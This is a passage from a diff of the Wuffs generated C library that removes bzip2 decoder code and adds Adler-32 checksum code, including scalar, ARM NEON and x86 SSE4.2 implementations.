wuffs_bzip2__error__bad_huffman_code_over_subscribed[] = "#bzip2: bad Huffman code (over-subscribed)"; +-const char wuffs_bzip2__error__bad_huffman_code_under_subscribed[] = "#bzip2: bad Huffman code (under-subscribed)"; +-const char wuffs_bzip2__error__bad_block_header[] = "#bzip2: bad block header"; +-const char wuffs_bzip2__error__bad_block_length[] = "#bzip2: bad block length"; +-const char wuffs_bzip2__error__bad_checksum[] = "#bzip2: bad checksum"; +-const char wuffs_bzip2__error__bad_header[] = "#bzip2: bad header"; +-const char wuffs_bzip2__error__bad_number_of_sections[] = "#bzip2: bad number of sections"; +-const char wuffs_bzip2__error__truncated_input[] = "#bzip2: truncated input"; +-const char wuffs_bzip2__error__unsupported_block_randomization[] = "#bzip2: unsupported block randomization"; +-const char wuffs_bzip2__error__internal_error_inconsistent_huffman_decoder_state[] = "#bzip2: internal error: inconsistent Huffman decoder state"; ++// ---------------- Status Codes Implementations + + // ---------------- Private Consts + +-static const uint8_t +-WUFFS_BZIP2__CLAMP_TO_5[8] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 1, 2, 3, 4, 5, 5, 5, +-}; +- +-static const uint32_t +-WUFFS_BZIP2__REV_CRC32_TABLE[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 79764919, 159529838, 222504665, 319059676, 398814059, 445009330, 507990021, +- 638119352, 583659535, 797628118, 726387553, 890018660, 835552979, 1015980042, 944750013, +- 1276238704, 1221641927, 1167319070, 1095957929, 1595256236, 1540665371, 1452775106, 1381403509, +- 1780037320, 1859660671, 1671105958, 1733955601, 2031960084, 2111593891, 1889500026, 1952343757, +- 2552477408, 2632100695, 2443283854, 2506133561, 2334638140, 2414271883, 2191915858, 2254759653, +- 3190512472, 3135915759, 3081330742, 3009969537, 2905550212, 2850959411, 2762807018, 2691435357, +- 3560074640, 3505614887, 3719321342, 3648080713, 3342211916, 3287746299, 3467911202, 3396681109, +- 4063920168, 4143685023, 4223187782, 4286162673, 3779000052, 3858754371, 3904687514, 3967668269, +- 881225847, 809987520, 1023691545, 969234094, 662832811, 591600412, 771767749, 717299826, +- 311336399, 374308984, 453813921, 533576470, 25881363, 88864420, 134795389, 214552010, +- 2023205639, 2086057648, 1897238633, 1976864222, 1804852699, 1867694188, 1645340341, 1724971778, +- 1587496639, 1516133128, 1461550545, 1406951526, 1302016099, 1230646740, 1142491917, 1087903418, +- 2896545431, 2825181984, 2770861561, 2716262478, 3215044683, 3143675388, 3055782693, 3001194130, +- 2326604591, 2389456536, 2200899649, 2280525302, 2578013683, 2640855108, 2418763421, 2498394922, +- 3769900519, 3832873040, 3912640137, 3992402750, 4088425275, 4151408268, 4197601365, 4277358050, +- 3334271071, 3263032808, 3476998961, 3422541446, 3585640067, 3514407732, 3694837229, 3640369242, +- 1762451694, 1842216281, 1619975040, 1682949687, 2047383090, 2127137669, 1938468188, 2001449195, +- 1325665622, 1271206113, 1183200824, 1111960463, 1543535498, 1489069629, 1434599652, 1363369299, +- 622672798, 568075817, 748617968, 677256519, 907627842, 853037301, 1067152940, 995781531, +- 51762726, 131386257, 177728840, 240578815, 269590778, 349224269, 429104020, 491947555, +- 4046411278, 4126034873, 4172115296, 4234965207, 3794477266, 3874110821, 3953728444, 4016571915, +- 3609705398, 3555108353, 3735388376, 3664026991, 3290680682, 3236090077, 3449943556, 3378572211, +- 3174993278, 3120533705, 3032266256, 2961025959, 2923101090, 2868635157, 2813903052, 2742672763, +- 2604032198, 2683796849, 2461293480, 2524268063, 2284983834, 2364738477, 2175806836, 2238787779, +- 1569362073, 1498123566, 1409854455, 1355396672, 1317987909, 1246755826, 1192025387, 1137557660, +- 2072149281, 2135122070, 1912620623, 1992383480, 1753615357, 1816598090, 1627664531, 1707420964, +- 295390185, 358241886, 404320391, 483945776, 43990325, 106832002, 186451547, 266083308, +- 932423249, 861060070, 1041341759, 986742920, 613929101, 542559546, 756411363, 701822548, +- 3316196985, 3244833742, 3425377559, 3370778784, 3601682597, 3530312978, 3744426955, 3689838204, +- 3819031489, 3881883254, 3928223919, 4007849240, 4037393693, 4100235434, 4180117107, 4259748804, +- 2310601993, 2373574846, 2151335527, 2231098320, 2596047829, 2659030626, 2470359227, 2550115596, +- 2947551409, 2876312838, 2788305887, 2733848168, 3165939309, 3094707162, 3040238851, 2985771188, +-}; +- + // ---------------- Private Initializer Prototypes + + // ---------------- Private Function Prototypes + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__do_transform_io( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__prepare_block( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__read_code_lengths( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__build_huffman_tree( +- wuffs_bzip2__decoder* self, +- uint32_t a_which); +- + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_bzip2__decoder__build_huffman_table( +- wuffs_bzip2__decoder* self, +- uint32_t a_which); ++wuffs_adler32__hasher__up( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_bzip2__decoder__invert_bwt( +- wuffs_bzip2__decoder* self); ++wuffs_adler32__hasher__up__choosy_default( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x); + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_bzip2__decoder__flush_fast( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_dst); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__flush_slow( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_dst); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__decode_huffman_fast( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_src); ++wuffs_adler32__hasher__up_arm_neon( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__decode_huffman_slow( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_src); ++static wuffs_base__empty_struct ++wuffs_adler32__hasher__up_x86_sse42( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) + + // ---------------- VTables + +-const wuffs_base__io_transformer__func_ptrs +-wuffs_bzip2__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++const wuffs_base__hasher_u32__func_ptrs ++wuffs_adler32__hasher__func_ptrs_for__wuffs_base__hasher_u32 = { ++ (uint32_t(*)(const void*))(&wuffs_adler32__hasher__checksum_u32), + (uint64_t(*)(const void*, +- uint32_t))(&wuffs_bzip2__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_bzip2__decoder__history_retain_length), ++ uint32_t))(&wuffs_adler32__hasher__get_quirk), + (wuffs_base__status(*)(void*, + uint32_t, +- uint64_t))(&wuffs_bzip2__decoder__set_quirk), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__slice_u8))(&wuffs_bzip2__decoder__transform_io), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_bzip2__decoder__workbuf_len), ++ uint64_t))(&wuffs_adler32__hasher__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_adler32__hasher__update), ++ (uint32_t(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_adler32__hasher__update_u32), + }; + + // ---------------- Initializer Implementations + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_bzip2__decoder__initialize( +- wuffs_bzip2__decoder* self, ++wuffs_adler32__hasher__initialize( ++ wuffs_adler32__hasher* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options){ +@@ -30559,23 +30841,25 @@ wuffs_bzip2__decoder__initialize( + } + } + ++ self->private_impl.choosy_up = &wuffs_adler32__hasher__up__choosy_default; ++ + self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = +- wuffs_base__io_transformer__vtable_name; +- self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = +- (const void*)(&wuffs_bzip2__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = ++ wuffs_base__hasher_u32__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = ++ (const void*)(&wuffs_adler32__hasher__func_ptrs_for__wuffs_base__hasher_u32); + return wuffs_base__make_status(NULL); + } + +-wuffs_bzip2__decoder* +-wuffs_bzip2__decoder__alloc(void) { +- wuffs_bzip2__decoder* x = +- (wuffs_bzip2__decoder*)(calloc(sizeof(wuffs_bzip2__decoder), 1)); ++wuffs_adler32__hasher* ++wuffs_adler32__hasher__alloc(void) { ++ wuffs_adler32__hasher* x = ++ (wuffs_adler32__hasher*)(calloc(1, sizeof(wuffs_adler32__hasher))); + if (!x) { + return NULL; + } +- if (wuffs_bzip2__decoder__initialize( +- x, sizeof(wuffs_bzip2__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ if (wuffs_adler32__hasher__initialize( ++ x, sizeof(wuffs_adler32__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { + free(x); + return NULL; + } +@@ -30583,18 +30867,18 @@ wuffs_bzip2__decoder__alloc(void) { + } + + size_t +-sizeof__wuffs_bzip2__decoder(void) { +- return sizeof(wuffs_bzip2__decoder); ++sizeof__wuffs_adler32__hasher(void) { ++ return sizeof(wuffs_adler32__hasher); + } + + // ---------------- Function Implementations + +-// -------- func bzip2.decoder.get_quirk ++// -------- func adler32.hasher.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bzip2__decoder__get_quirk( +- const wuffs_bzip2__decoder* self, ++wuffs_adler32__hasher__get_quirk( ++ const wuffs_adler32__hasher* self, + uint32_t a_key) { + if (!self) { + return 0; +@@ -30607,12 +30891,12 @@ wuffs_bzip2__decoder__get_quirk( + return 0u; + } + +-// -------- func bzip2.decoder.set_quirk ++// -------- func adler32.hasher.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bzip2__decoder__set_quirk( +- wuffs_bzip2__decoder* self, ++wuffs_adler32__hasher__set_quirk( ++ wuffs_adler32__hasher* self, + uint32_t a_key, + uint64_t a_value) { + if (!self) { +@@ -30625,369 +30909,699 @@ wuffs_bzip2__decoder__set_quirk( + : wuffs_base__error__initialize_not_called); + } + +- if (a_key == 1u) { +- self->private_impl.f_ignore_checksum = (a_value > 0u); +- return wuffs_base__make_status(NULL); +- } + return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func bzip2.decoder.history_retain_length ++// -------- func adler32.hasher.update + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bzip2__decoder__history_retain_length( +- const wuffs_bzip2__decoder* self) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_adler32__hasher__update( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x) { + if (!self) { +- return 0; ++ return wuffs_base__make_empty_struct(); + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); + } + +- return 0u; ++ if ( ! self->private_impl.f_started) { ++ self->private_impl.f_started = true; ++ self->private_impl.f_state = 1u; ++ self->private_impl.choosy_up = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_adler32__hasher__up_arm_neon : ++#endif ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_adler32__hasher__up_x86_sse42 : ++#endif ++ self->private_impl.choosy_up); ++ } ++ wuffs_adler32__hasher__up(self, a_x); ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func bzip2.decoder.workbuf_len ++// -------- func adler32.hasher.update_u32 + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_bzip2__decoder__workbuf_len( +- const wuffs_bzip2__decoder* self) { ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_adler32__hasher__update_u32( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x) { + if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ return 0; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return 0; + } + +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++ wuffs_adler32__hasher__update(self, a_x); ++ return self->private_impl.f_state; + } + +-// -------- func bzip2.decoder.transform_io ++// -------- func adler32.hasher.up + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bzip2__decoder__transform_io( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++static wuffs_base__empty_struct ++wuffs_adler32__hasher__up( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ return (*self->private_impl.choosy_up)(self, a_x); ++} + +- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_adler32__hasher__up__choosy_default( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint32_t v_s1 = 0; ++ uint32_t v_s2 = 0; ++ wuffs_base__slice_u8 v_remaining = {0}; ++ wuffs_base__slice_u8 v_p = {0}; + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_bzip2__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); +- v_status = t_0; ++ v_s1 = ((self->private_impl.f_state) & 0xFFFFu); ++ v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); ++ while (((uint64_t)(a_x.len)) > 0u) { ++ v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); ++ if (((uint64_t)(a_x.len)) > 5552u) { ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5552u); ++ a_x = wuffs_base__slice_u8__subslice_j(a_x, 5552u); ++ } ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 1; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8)); ++ while (v_p.ptr < i_end0_p) { ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; + } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__truncated_input); +- goto exit; ++ v_p.len = 1; ++ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end1_p) { ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ v_p.len = 0; + } +- +- ok: +- self->private_impl.p_transform_io[0] = 0; +- goto exit; ++ v_s1 %= 65521u; ++ v_s2 %= 65521u; ++ a_x = v_remaining; + } ++ self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); ++ return wuffs_base__make_empty_struct(); ++} + +- goto suspend; +- suspend: +- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++// -------- func adler32.hasher.checksum_u32 + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_adler32__hasher__checksum_u32( ++ const wuffs_adler32__hasher* self) { ++ if (!self) { ++ return 0; + } +- return status; ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return self->private_impl.f_state; + } + +-// -------- func bzip2.decoder.do_transform_io ++// ‼ WUFFS MULTI-FILE SECTION +arm_neon ++// -------- func adler32.hasher.up_arm_neon + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__do_transform_io( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_c = 0; +- uint32_t v_i = 0; +- uint64_t v_tag = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- uint32_t v_final_checksum_want = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++static wuffs_base__empty_struct ++wuffs_adler32__hasher__up_arm_neon( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint32_t v_s1 = 0; ++ uint32_t v_s2 = 0; ++ wuffs_base__slice_u8 v_remaining = {0}; ++ wuffs_base__slice_u8 v_p = {0}; ++ uint8x16_t v_p__left = {0}; ++ uint8x16_t v_p_right = {0}; ++ uint32x4_t v_v1 = {0}; ++ uint32x4_t v_v2 = {0}; ++ uint16x8_t v_col0 = {0}; ++ uint16x8_t v_col1 = {0}; ++ uint16x8_t v_col2 = {0}; ++ uint16x8_t v_col3 = {0}; ++ uint32x2_t v_sum1 = {0}; ++ uint32x2_t v_sum2 = {0}; ++ uint32x2_t v_sum12 = {0}; ++ uint32_t v_num_iterate_bytes = 0; ++ uint64_t v_tail_index = 0; + +- uint32_t coro_susp_point = self->private_impl.p_do_transform_io[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_do_transform_io[0].v_i; +- v_tag = self->private_data.s_do_transform_io[0].v_tag; +- v_final_checksum_want = self->private_data.s_do_transform_io[0].v_final_checksum_want; ++ v_s1 = ((self->private_impl.f_state) & 0xFFFFu); ++ v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); ++ while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { ++ v_s1 += ((uint32_t)(a_x.ptr[0u])); ++ v_s2 += v_s1; ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if (v_c != 66u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); +- goto exit; ++ v_s1 %= 65521u; ++ v_s2 %= 65521u; ++ while (((uint64_t)(a_x.len)) > 0u) { ++ v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); ++ if (((uint64_t)(a_x.len)) > 5536u) { ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5536u); ++ a_x = wuffs_base__slice_u8__subslice_j(a_x, 5536u); + } ++ v_num_iterate_bytes = ((uint32_t)((((uint64_t)(a_x.len)) & 4294967264u))); ++ v_s2 += ((uint32_t)(v_s1 * v_num_iterate_bytes)); ++ v_v1 = vdupq_n_u32(0u); ++ v_v2 = vdupq_n_u32(0u); ++ v_col0 = vdupq_n_u16(0u); ++ v_col1 = vdupq_n_u16(0u); ++ v_col2 = vdupq_n_u16(0u); ++ v_col3 = vdupq_n_u16(0u); + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 32; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32)); ++ while (v_p.ptr < i_end0_p) { ++ v_p__left = vld1q_u8(v_p.ptr); ++ v_p_right = vld1q_u8(v_p.ptr + 16u); ++ v_v2 = vaddq_u32(v_v2, v_v1); ++ v_v1 = vpadalq_u16(v_v1, vpadalq_u8(vpaddlq_u8(v_p__left), v_p_right)); ++ v_col0 = vaddw_u8(v_col0, vget_low_u8(v_p__left)); ++ v_col1 = vaddw_u8(v_col1, vget_high_u8(v_p__left)); ++ v_col2 = vaddw_u8(v_col2, vget_low_u8(v_p_right)); ++ v_col3 = vaddw_u8(v_col3, vget_high_u8(v_p_right)); ++ v_p.ptr += 32; + } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; +- } +- if (v_c != 90u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); +- goto exit; ++ v_p.len = 0; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_v2 = vshlq_n_u32(v_v2, 5u); ++ v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col0), ((uint16x4_t){32u, 31u, 30u, 29u})); ++ v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col0), ((uint16x4_t){28u, 27u, 26u, 25u})); ++ v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col1), ((uint16x4_t){24u, 23u, 22u, 21u})); ++ v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col1), ((uint16x4_t){20u, 19u, 18u, 17u})); ++ v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col2), ((uint16x4_t){16u, 15u, 14u, 13u})); ++ v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col2), ((uint16x4_t){12u, 11u, 10u, 9u})); ++ v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col3), ((uint16x4_t){8u, 7u, 6u, 5u})); ++ v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col3), ((uint16x4_t){4u, 3u, 2u, 1u})); ++ v_sum1 = vpadd_u32(vget_low_u32(v_v1), vget_high_u32(v_v1)); ++ v_sum2 = vpadd_u32(vget_low_u32(v_v2), vget_high_u32(v_v2)); ++ v_sum12 = vpadd_u32(v_sum1, v_sum2); ++ v_s1 += vget_lane_u32(v_sum12, 0u); ++ v_s2 += vget_lane_u32(v_sum12, 1u); ++ v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551584u); ++ if (v_tail_index < ((uint64_t)(a_x.len))) { ++ { ++ wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 1; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end0_p) { ++ v_s1 += ((uint32_t)(v_p.ptr[0u])); ++ v_s2 += v_s1; ++ v_p.ptr += 1; ++ } ++ v_p.len = 0; + } +- uint8_t t_2 = *iop_a_src++; +- v_c = t_2; + } +- if (v_c != 104u) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_header); +- goto exit; ++ v_s1 %= 65521u; ++ v_s2 %= 65521u; ++ a_x = v_remaining; ++ } ++ self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++// ‼ WUFFS MULTI-FILE SECTION -arm_neon ++ ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++// -------- func adler32.hasher.up_x86_sse42 ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_adler32__hasher__up_x86_sse42( ++ wuffs_adler32__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint32_t v_s1 = 0; ++ uint32_t v_s2 = 0; ++ wuffs_base__slice_u8 v_remaining = {0}; ++ wuffs_base__slice_u8 v_p = {0}; ++ __m128i v_zeroes = {0}; ++ __m128i v_ones = {0}; ++ __m128i v_weights__left = {0}; ++ __m128i v_weights_right = {0}; ++ __m128i v_q__left = {0}; ++ __m128i v_q_right = {0}; ++ __m128i v_v1 = {0}; ++ __m128i v_v2 = {0}; ++ __m128i v_v2j = {0}; ++ __m128i v_v2k = {0}; ++ uint32_t v_num_iterate_bytes = 0; ++ uint64_t v_tail_index = 0; ++ ++ v_zeroes = _mm_set1_epi16((int16_t)(0u)); ++ v_ones = _mm_set1_epi16((int16_t)(1u)); ++ v_weights__left = _mm_set_epi8((int8_t)(17u), (int8_t)(18u), (int8_t)(19u), (int8_t)(20u), (int8_t)(21u), (int8_t)(22u), (int8_t)(23u), (int8_t)(24u), (int8_t)(25u), (int8_t)(26u), (int8_t)(27u), (int8_t)(28u), (int8_t)(29u), (int8_t)(30u), (int8_t)(31u), (int8_t)(32u)); ++ v_weights_right = _mm_set_epi8((int8_t)(1u), (int8_t)(2u), (int8_t)(3u), (int8_t)(4u), (int8_t)(5u), (int8_t)(6u), (int8_t)(7u), 